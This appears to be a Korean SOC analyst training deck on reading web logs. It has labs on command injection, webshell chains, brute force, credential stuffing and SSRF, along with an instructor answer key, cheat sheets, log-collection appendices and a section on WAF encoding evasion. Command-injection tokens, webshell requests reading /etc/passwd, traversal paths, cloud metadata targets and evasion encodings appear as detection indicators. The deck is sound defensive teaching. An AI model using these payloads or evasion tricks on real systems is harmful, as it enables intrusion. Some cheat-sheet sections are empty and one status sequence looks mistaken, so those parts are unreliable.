보강 설명Lab C는 LFI와 Directory Traversal 요청을 식별하는 실습입니다. 상태코드 분포가 다양할 수 있다는 점을 강조하세요.

LFITraversal실습

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

PART 9 · 실습

Lab D. Command Injection 식별하기

셸 구분자와 시스템 명령 토큰의 조합으로 CMDi를 식별하라.

🎯 실습 목표

103.44.19.8의 CMDi 패턴 식별
구분자 유형 분류
사용된 시스템 명령 목록 추출
LFI+CMDi 결합 여부 확인

🔎 구분자 + 명령 토큰

구분자:
; && || |
`cmd` $(cmd)

명령:
whoami id ls
cat /etc/passwd
wget curl

LFI + CMDi 결합 체인 주의 포인트

LFI로 로그 파일 읽기 → 로그 오염 (Log Poisoning) → CMDi 실행으로 이어지는 체인 패턴. 동일 IP에서 두 유형이 같은 시간대에 관찰되면 결합 가능성 검토 필요.

보강 설명Lab D는 Command Injection을 식별하는 실습입니다. 구분자와 명령 토큰 조합을 찾는 것이 핵심입니다.

CMDi실습Lab D

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

PART 9 · 실습

Lab E. File Upload + WebShell 체인 묶기

업로드(POST)와 실행 호출(GET)을 연결해 WebShell 체인을 재구성하라.

🎯 실습 목표

172.104.81.55의 업로드 요청 식별
실행형 확장자 파일명 추출
업로드 후 호출 요청 연결
cmd= 파라미터 명령 목록 확인

🔎 체인 연결 포인트

POST /upload → 200 + 실행형 filename
→ GET /uploads/shell.php?cmd=whoami
→ GET /uploads/shell.php?cmd=cat+/etc/passwd
호스트 로그: 웹 프로세스 자식 sh/bash 생성

POST /upload
shell.php 업로드
200 OK

→

GET /uploads/
shell.php?cmd=
WebShell 호출

→

시스템 명령
실행
서버 장악

→

후속: egress
다운로드·
lateral move

보강 설명Lab E는 File Upload + WebShell 체인을 묶는 실습입니다. 업로드 POST와 이후 실행 GET을 연결하는 것이 핵심입니다.

File UploadWebShell실습

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 9 · 실습

Lab F. Brute Force 흐름 판단하기

반복 실패에서 성공 전환까지 — 그 이후 행동까지 추적하라.

🎯 실습 목표

89.248.165.44의 반복 로그인 요청 식별
401/403/429/200/302 시퀀스 분석
성공 전환 시점 포착
성공 후 어느 엔드포인트에 접근했는지 확인

🔎 판단 포인트

같은 IP + /login POST + 짧은 시간 간격
User-Agent 단일/순환 여부
401 N회 → 302/200 전환 = 성공
성공 직후 /admin, /dashboard 접근?

🚨 성공 전환이 있는 경우 추가 확인 필수

성공한 계정이 관리자 계정인지 확인
성공 이후 어떤 자원에 접근했는지 추적
IAM/세션 로그에서 로그인 위치·디바이스 확인
비밀번호 변경·설정 변경 여부 확인

보강 설명Lab F는 Brute Force 흐름을 판단하는 실습입니다. 실패 반복에서 성공 전환을 찾고, 성공 이후 행동을 추적하는 것이 목표입니다.

Brute Force실습Lab F

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

PART 9 · 실습

Lab G. Credential Stuffing / API Abuse 분류하기

Brute Force와의 차이를 계정 다양성과 자동화 속도로 구분하라.

🎯 실습 목표

104.237.146.2의 API 요청 패턴 식별
401/429/200 상태코드 시퀀스 분석
Brute Force vs Credential Stuffing 구분
Rate Limit 발동 시점 확인

🔍 구분 기준

Brute Force: 같은 계정 + 다양한 비밀번호 + 느린 속도

Credential Stuffing: 다양한 계정 쌍 + 빠른 속도 + 자동화 UA + 429 발동

API Abuse 추가 신호

짧은 시간 내 과다 API 호출
/api/v1/login, /api/auth/token 반복
동일 UA + 다양한 account 조합

조사 시 추가 확인

성공한 계정의 이후 행동 추적
동일 계정으로 다른 IP에서 동시 로그인?
Geolocation 이상 여부

보강 설명Lab G는 Credential Stuffing과 API Abuse를 분류하는 실습입니다. Brute Force와의 차이는 계정 다양성과 요청 패턴에서 드러납니다.

Credential StuffingAPI Abuse실습

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 9 · 실습

Lab H. SSRF 시도 식별하기

URL 파라미터에서 내부 주소 패턴을 찾고 egress 상관분석 필요성을 설명하라.

🎯 실습 목표

51.158.201.77의 SSRF 시도 요청 식별
url/target/callback 파라미터에서 내부 주소 확인
어떤 내부 자원을 노렸는지 분류
egress 상관분석 필요 항목 목록 작성

🔎 SSRF 식별 체크리스트

☐ URL 파라미터에 127.0.0.1, localhost
☐ 169.254.169.254 메타데이터 주소
☐ RFC1918 내부 대역 (10/172/192.168)
☐ file://, gopher:// 비정상 스킴
☐ 특이한 포트 (6379, 8080, 5432 등)

💡 분석 문장 예시:
"51.158.201.77이 [시간]에 /[엔드포인트]의 url= 파라미터에 localhost, 127.0.0.1, 169.254.169.254를 포함한 요청을 [N]회 전송. SSRF 시도로 판단. 실제 서버 아웃바운드 연결 여부 확인을 위해 egress 로그 및 app error 로그 추가 조사 필요."

보강 설명Lab H는 SSRF 시도를 식별하는 실습입니다. 51.158.201.77의 URL 파라미터에서 내부 주소를 찾는 것이 목표입니다.

SSRF실습Lab H

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 9 · 실습

Lab I. 복합 시나리오를 사건 흐름으로 재구성하기

여러 공격 유형이 하나의 사건 체인을 구성하는 경우를 통합 시각으로 분석하라.

📋 시나리오 예시 (로그 기반 재구성)

185.143.223.17
SQLi 정찰
03:12~03:45

→

91.240.118.31
LFI 탐색
03:50~04:10

→

172.104.81.55
WebShell 업로드
04:15

→

89.248.165.44
관리자 Brute Force
04:20~04:35

→

51.158.201.77
SSRF 내부 정찰
04:40

💡 재구성 포인트

시간 흐름으로 정렬 후 패턴 연결
동일 타겟 서버에 대한 여러 IP 공격?
각 단계가 다음 단계를 가능하게 했는가?
전체 킬체인 어느 단계까지 도달했는가?

🚨 우선순위 판단

WebShell 성공 시 즉시 IR 에스컬레이션
Brute Force + 성공 전환 → 계정 격리
SSRF + egress 연결 → 내부망 조사
복합 사건 = 조율된 공격 가능성

보강 설명Lab I는 복합 시나리오를 하나의 사건 흐름으로 재구성하는 실습입니다. 여러 IP와 공격 유형이 하나의 사건과 연결될 수 있습니다.

복합 시나리오사건 흐름실습

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 9 · 채점

좋은 답안의 형태와 채점 기준

공격 이름을 맞히는 것보다, 근거를 구조화하고 우선순위를 설명하는 능력이 더 중요하다.

🏆 A급 답안

Fact / Pattern / Context / Action 모두 포함
오탐 가능성까지 언급
추가 확인 로그와 조치 제안

🥈 B급 답안

공격 유형과 근거는 맞지만
후속 확인/조치 설명이 약함
상태코드 분포 해석 부족

📋 C급 답안 패턴 (개선 필요)

문자열 나열 위주 / 상태코드·반복성·맥락 설명 없음 / "~일 수 있습니다"만 반복 / 조치 제안 없음

📐 채점 4항목

식별
정확도
공격 유형 맞게 분류

근거
품질
payload+status+반복

흐름
구성
FPCA 프레임

조치
제안
추가확인+대응

보강 설명공격 이름을 맞히는 것보다, 근거를 구조화하고 우선순위를 설명하는 능력이 더 중요합니다. 자기평가 시간을 짧게 주면 학습 효과가 좋습니다.

채점 기준근거 품질흐름 구성

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

PART 9 · 강사용

강사용 기준 답안 요약

대표 IP → 공격 유형 → 핵심 근거 → 추가 확인 포인트.

IP	공격 유형	핵심 근거	추가 확인
185.143.223.17	SQLi	union select, sleep(), OR 1=1, sqlmap UA	DB/App 로그, WAF 차단 여부
45.77.22.90	XSS	script, onerror, svg/onload	저장형 여부, 관리자 조회 로그
91.240.118.31	LFI/Traversal	../../../../etc/passwd, /var/log/auth.log	200 응답 여부, response 크기
103.44.19.8	CMDi	;cat, &&id, \|uname, $() 구분자	host log 프로세스 생성 여부
172.104.81.55	WebShell	POST /upload → GET /uploads/shell.php?cmd=	EDR 프로세스 체인, egress
89.248.165.44	Brute Force	401 다수 → 302 전환, /login POST	성공 계정 이후 행동, 세션 로그
104.237.146.2	Cred Stuffing	/api/v1/login 다양한 계정, 401/429/200 혼합	성공 계정 IAM 조회, API 토큰
51.158.201.77	SSRF	url=localhost, 169.254.169.254 포함 요청	egress/DNS 로그 아웃바운드 연결

보강 설명 대표 IP → 공격 유형 → 핵심 근거 → 추가 확인 포인트. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 10

요약 / 치트시트 / 운영 부록

요청 한 줄을 사건 이야기로 바꾸는 능력 — 마무리

⏱ 약 25분

보강 설명 요청 한 줄을 사건 이야기로 바꾸는 능력 — 마무리. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

PART 10 · 요약

오늘의 핵심 요약

웹 공격은 결국 HTTP 요청에 흔적을 남기며, 좋은 분석가는 그 흔적을 흐름으로 읽는다.

🏗️

아키텍처

어디서 무엇이 보이는지 알아야 한다

📡

HTTP

입력이 어디에 숨어 있는지 알아야 한다

📋

로그

패턴과 반복성을 잡을 수 있어야 한다

⚔️

공격

사건 스토리와 조치를 설명할 수 있어야 한다

결국 좋은 SOC 분석가는 요청 한 줄을 사건 이야기로 바꾸는 사람이다 — payload를 외우는 사람이 아니다

보강 설명웹 공격은 결국 HTTP 요청에 흔적을 남기며, 좋은 분석가는 그 흔적을 흐름으로 읽습니다.

핵심 요약아키텍처HTTP

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

PART 10 · 치트시트

치트시트 1. HTTP / Access Log 핵심 필드

Method, Path, Query, Status, Bytes, UA, Referer는 웹 관제의 기본 언어다.

Method

요청 행위의 성격
GET: 읽기 / POST: 입력
PUT/PATCH: 수정
DELETE: 삭제

Path / Query

엔드포인트 + 공격 입력의 핵심 위치
URL 인코딩 디코딩 필수
?param=payload 위치 주목

Status / Bytes

결과와 변화량
200/302/401/403/404/429/500
Bytes 급증 = 데이터 유출 가능성

UA / Referer

맥락과 도구성
sqlmap/nikto/hydra = 도구 UA
Referer 없음 = 직접 접근 가능

X-Forwarded-For

프록시 체인에서 실제 출발지 IP
조작 가능 → 반드시 CDN/LB 구조 파악 후 해석

Response Time

서버 처리 시간 이상
SQLi SLEEP 성공 시 급증
LFI 성공 시 파일 크기 비례

Cookie / Session

세션 탈취/재사용 탐지
같은 세션이 다른 IP에서 사용?
세션 고정 공격 여부

Content-Type

multipart/form-data = 업로드
application/json = API 요청
Content-Type 조작 우회 가능성

보강 설명 Method, Path, Query, Status, Bytes, UA, Referer는 웹 관제의 기본 언어다. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

PART 10 · 치트시트

치트시트 2. 공격별 대표 토큰

대표 토큰은 출발점일 뿐이며, 엔드포인트·상태코드·반복성과 결합해야 진짜 의미가 생긴다.

SQLi

XSS

LFI / Traversal

CMDi

; | && | || | | (pipe)
`cmd` | $(cmd) | %0a
whoami | id | cat | wget | curl

Auth / Upload

401→302 시퀀스 | 429 Rate Limit
.php/.jsp/.asp 업로드
cmd= | shell.php | webshell

SSRF

localhost | 127.0.0.1
169.254.169.254 | 10.x.x.x
file:// | gopher:// | dict://

보강 설명대표 토큰은 출발점일 뿐이며, 엔드포인트·상태코드·반복성과 결합해야 진짜 의미가 생깁니다. 토큰 하나를 고르면 다음 확인 대상을 붙여 말하게 하세요.

대표 토큰SQLiXSS

빠른 구분법

키워드는 위치와 맥락까지 함께 읽어야 함
정의보다 “로그에서 어떻게 보이는가”로 복습
정상·의심·위험 3단으로 바로 분류 연습

현장 사용법

운영 중엔 치트시트를 보고 즉시 질문 순서를 고정
팀 공통 표현으로 정리해 handoff 품질을 맞춤
자주 틀리는 항목은 팀 위키에 별도 축적

기억 문장

패턴 암기보다 흐름 재구성이 더 오래 남는다
용어는 흔적·영향·조치와 같이 외워야 실전에 남음
빠른 분류 뒤에는 반드시 추가 확인 로그를 연결

PART 10 · 치트시트

치트시트 3. 상태코드 해석

200만 보는 습관을 버리고, 302/401/403/404/429/500을 흐름 속에서 읽어야 한다.

200 OK

정상 처리 / SQLi 성공 시에도 200 / 응답 크기와 내용 변화 주목

301 / 302 Redirect

로그인 성공 전환 / SSO 흐름 / 공격 성공 후 리다이렉트 가능

401 Unauthorized

인증 실패 / Brute Force 지표 / 반복 401 → 402/200 전환 주목

403 Forbidden

권한 없음 / WAF 차단 / 파일 존재하지만 접근 금지

404 Not Found

경로 없음 / 정찰·탐색 지표 / 404 폭증 = 스캐너 패턴

429 Too Many Requests

Rate Limit 발동 / 자동화 공격 지표 / Stuffing/Spraying 신호

500 Internal Server Error

서버 오류 / SQLi·CMDi 부분 성공 가능성 / 재시도 패턴 주목

503 Service Unavailable

과부하 / DoS 공격 가능성 / 리소스 고갈 신호

보강 설명200만 보는 습관을 버리고, 302/401/403/404/429/500을 흐름 속에서 읽어야 합니다. 상태코드는 단일 값이 아니라 시퀀스와 변화량으로 읽어야 한다는 메시지를 반복하세요.

상태코드302401

빠른 구분법

키워드는 위치와 맥락까지 함께 읽어야 함
정의보다 “로그에서 어떻게 보이는가”로 복습
정상·의심·위험 3단으로 바로 분류 연습

현장 사용법

운영 중엔 치트시트를 보고 즉시 질문 순서를 고정
팀 공통 표현으로 정리해 handoff 품질을 맞춤
자주 틀리는 항목은 팀 위키에 별도 축적

기억 문장

패턴 암기보다 흐름 재구성이 더 오래 남는다
용어는 흔적·영향·조치와 같이 외워야 실전에 남음
빠른 분류 뒤에는 반드시 추가 확인 로그를 연결

PART 10 · 운영 부록

운영 부록 1. 웹 로그 수집 권장 항목

좋은 탐지의 절반은 룰이 아니라 무엇을 남기느냐에서 결정된다.

📌 필수 수집 필드

timestamp (ISO 8601, 밀리초)
src_ip, xff_ip (원본+프록시)
method, raw_uri, decoded_uri
http_version, status_code
response_bytes, response_time
user_agent, referer

✅ 가능하면 추가

request_id (요청 추적용)
session_id (해시 처리)
account / username (마스킹)
upstream_status (WAS 응답)
waf_rule_id, waf_action
host, server_name, port

raw_uri vs decoded_uri 모두 남기는 이유

공격자는 인코딩으로 룰을 우회하므로, raw(원문)와 decoded(정규화) 양쪽이 탐지에 필요하다

correlation key 설계

동일 IP + 동일 세션 + 동일 자산 기준으로 이벤트를 묶을 수 있는 키를 수집 단계에 정의

보강 설명좋은 탐지의 절반은 룰이 아니라 무엇을 남기느냐에서 결정됩니다. 많이 남기는 것보다, 유의미하고 안전하게 남기는 것이 중요합니다.

로그 수집decoded_uriresponse time

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

PART 10 · 운영 부록

운영 부록 2. 로그에 남기면 안 되거나 주의해야 하는 것

로그는 보안을 위해 필요하지만, 그 자체가 또 다른 민감정보 저장소가 될 수 있다.

❌ 그대로 저장 금지

비밀번호 (POST body)
원문 세션 ID / JWT 토큰
액세스 토큰 / API 키 / 비밀 키
카드 번호, 주민등록번호

⚠️ 최소화 / 마스킹 필요

이름, 이메일, 전화번호 → 해시/마스킹
세션 ID → 단방향 해시로 저장
디버그 에러 → 운영 환경에서 비활성화
내부 경로, DB 연결 정보 → 에러 로그 필터

🔒 로그 자체의 보안 관리

접근 제어: 로그 파일·SIEM 접근 권한 최소화
전송 보호: TLS 암호화 채널로 전송

보존 기간: 규정 준수 + 필요 최소 기간
감사 로그: 로그 접근/변경 이력도 기록

보강 설명로그는 보안을 위해 필요하지만, 그 자체가 또 다른 민감정보 저장소가 될 수 있습니다. 로그를 남기는 것 자체가 왜 리스크가 될 수 있는지 질문하세요.

민감정보마스킹세션 ID

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

PART 10 · 운영 부록

운영 부록 3. 웹 사고 조사 아티팩트 체크리스트

웹 사고는 요청 원문 하나로 끝나지 않는다. 필요한 아티팩트를 미리 목록화해 두면 대응 속도가 빨라진다.

🌐 웹 계층

☐ access.log (원문+decoded)
☐ WAF 이벤트 로그
☐ app.log / error.log
☐ reverse proxy 로그
☐ CDN/LB 로그

💻 호스트 계층

☐ 프로세스 생성 이벤트
☐ 파일 생성·수정 이벤트
☐ cron / service 변경
☐ auth.log / secure.log
☐ EDR 타임라인

📡 네트워크 계층

☐ DNS 쿼리 로그
☐ Flow / NetFlow 데이터
☐ 프록시 아웃바운드 로그
☐ egress HTTP/TLS 연결
☐ 방화벽 Allow/Deny

🔐 계정 계층

☐ 세션 생성·종료 이력
☐ 계정 로그인 히스토리
☐ MFA 인증 로그
☐ 관리자 행위 감사
☐ API 토큰 사용 이력

보강 설명웹 사고는 요청 원문 하나로 끝나지 않습니다. 필요한 아티팩트를 미리 목록화해 두면 대응 속도가 빨라집니다.

아티팩트access.logEDR

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

PART 10 · 마무리

다음 모듈로의 연결

웹 공격 분석을 이해했다면, 이제부터는 탐지 룰 고도화와 사건 대응 자동화의 품질이 달라진다.

📌 이번 모듈에서 만든 것

웹 요청을 읽는 눈
공격 흔적을 로그에서 찾는 방법
사건 흐름을 말로 재구성하는 프레임 (FPCA)
SOC 분석가의 Handoff 문장 구조

🚀 다음 단계에서 연결될 것

SIEM 규칙과 탐지 커버리지 관리
SOAR 플레이북 실제 구현
IR팀과의 협업 프로세스
위협 인텔리전스 연계

중요한 것은 도구가 아니라 "흐름을 보는 사고방식"이다
결국 좋은 분석가는 요청 한 줄을 사건 이야기로 바꾸는 사람이다

📝 마지막 과제: 오늘 배운 것을 한 문장으로 요약해 보세요

보강 설명웹 공격 분석을 이해했다면, 이제부터는 탐지 룰 고도화와 사건 대응 자동화의 품질이 달라집니다. 수강생에게 마지막 한 문장 요약을 적게 하면 기억에 오래 남습니다.

다음 모듈SIEMSOAR

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

심화 · ADVANCED

SOC 분석가를 위한 실무 심화 과정

기초를 넘어 — 실전 판단력을 키우는 고급 주제들

⏱ 심화 참고 자료

보강 설명 기초를 넘어 — 실전 판단력을 키우는 고급 주제들. 심화 파트의 목적은 새로운 키워드를 늘리는 것이 아니라, 기초에서 배운 기준을 더 복잡한 환경에 그대로 적용하는 연습을 하는 데 있다.

심화실무 확장고급 판단

확장 포인트

기본 필드 읽기 능력을 API·클라우드·SOAR·헌팅까지 확장
공격 유형별 단일 판단보다 체인형 사고를 강화
운영 자동화와 위협 인텔리전스를 실제 분석 흐름에 연결

추가 확인

환경이 바뀌어도 자산, 입력, 상태 변화, 영향 확인 순서를 유지
새로운 로그 소스가 기존 판단 기준을 어떻게 보완하는지 정리
심화 자료를 “참고용”으로 두지 말고 실습과 연결

학습 산출물

주제별 1페이지 정리 카드 만들기
새 환경에서 필요한 추가 로그 소스 목록 작성
기초 파트와 심화 파트를 연결하는 비교표 작성

심화 · HTTP

공격자가 조작하는 HTTP 헤더

탐지 우회와 서버 속임수에 헤더가 쓰이는 방법을 알아야 한다.

X-Forwarded-For 스푸핑

X-Forwarded-For: 127.0.0.1

IP 기반 Rate Limit / ACL 우회 시도. CDN·LB 구조 파악 없이 맹신 금지. 실제 연결 IP (src_ip)와 항상 비교

Host 헤더 조작

Host: internal.company.local

가상 호스팅 환경에서 내부 도메인 라우팅 유도. Password Reset 링크 생성 시 도메인 오염 가능 (Host Header Injection)

Content-Type 조작

Content-Type: image/jpeg (실제: PHP)

파일 업로드 시 MIME 타입 검사 우회. WAF/서버가 Content-Type만 보고 허용할 경우 위험

Transfer-Encoding / Chunked

Transfer-Encoding: chunked

HTTP Request Smuggling 공격에 활용. 프론트엔드(WAF/프록시)와 백엔드 서버의 Body 파싱 차이를 이용

⚠️ 헤더 값만 보고 IP 차단 정책을 적용하면 공격자가 이를 우회할 수 있다 — 헤더 검증 로직과 실제 연결 IP를 함께 봐야 한다

보강 설명공격자는 단순한 페이로드 외에도 HTTP 헤더를 조작해 탐지를 우회하거나 서버를 속입니다. X-Forwarded-For 스푸핑, Host 헤더 조작, Referer 우회 등을 다룹니다.

HTTP 헤더X-Forwarded-ForHost 헤더

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 인코딩

인코딩 우회 심화 — WAF를 피하는 방법

탐지 시스템이 정규화하지 않으면 인코딩 한 겹이 모든 룰을 무력화할 수 있다.

URL 인코딩 변형

../ → %2e%2e%2f
<script> → %3Cscript%3E
이중 인코딩: %252e%252e%252f

Unicode / UTF-8 변형

< → \u003c / <
전각 문자: ．．／ (Traversal)
Null byte: %00 삽입

HTML Entity / JS 인코딩

<script> (HTML entity)
\x3Cscript\x3E (JS hex)
<script> (decimal)

SQL 우회 변형

공백: /**/, +, %09
주석: /*!UNION*/ (MySQL)
대소문자: uNiOn SeLeCt

📌 탐지 핵심 원칙: raw_uri와 decoded/normalized_uri를 모두 로깅하고, 탐지 룰은 정규화된 값으로 적용해야 인코딩 우회를 방어할 수 있다

보강 설명공격자는 다양한 인코딩과 정규화 차이를 이용해 WAF와 탐지 룰을 우회합니다. 탐지 시스템의 정규화 레이어가 얼마나 중요한지 보여주는 주제입니다.

인코딩 우회URL 인코딩Unicode

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 · 스캐너 탐지

자동화 스캐너 탐지 패턴

스캐너가 남기는 고유 패턴을 알면 자동화 공격을 조기에 탐지할 수 있다.

🤖 스캐너 UA 패턴

sqlmap/1.x.x
Nikto/2.1.x
Nessus, OpenVAS
Nuclei, dirbuster, gobuster
python-requests/2.x (자동화 가능성)

📊 스캐너 트래픽 특징

짧은 시간에 다수의 경로 요청 (404 폭증)
순차적/사전 기반 경로 탐색
규칙적인 요청 간격 (자동화 리듬)
비정상 User-Agent 또는 UA 없음
다양한 취약점 probe 동시 발생

🔑 스캐너 탐지 후 핵심 질문

1. 스캐너가 어떤 경로에 200 응답을 받았는가? → 공격 가능 표면 파악
2. 스캐닝 이후 수동 공격으로 전환했는가?

3. 발견된 취약점에 대한 후속 exploit 시도?
4. 동일 IP 또는 연관 IP에서 타겟 방문?

보강 설명Nikto, sqlmap, Nuclei 같은 스캐너는 고유한 패턴을 남깁니다. 스캐너 탐지 자체도 중요하지만, 스캐너 이후의 수동 공격 전환을 놓치지 않는 것이 더 중요합니다.

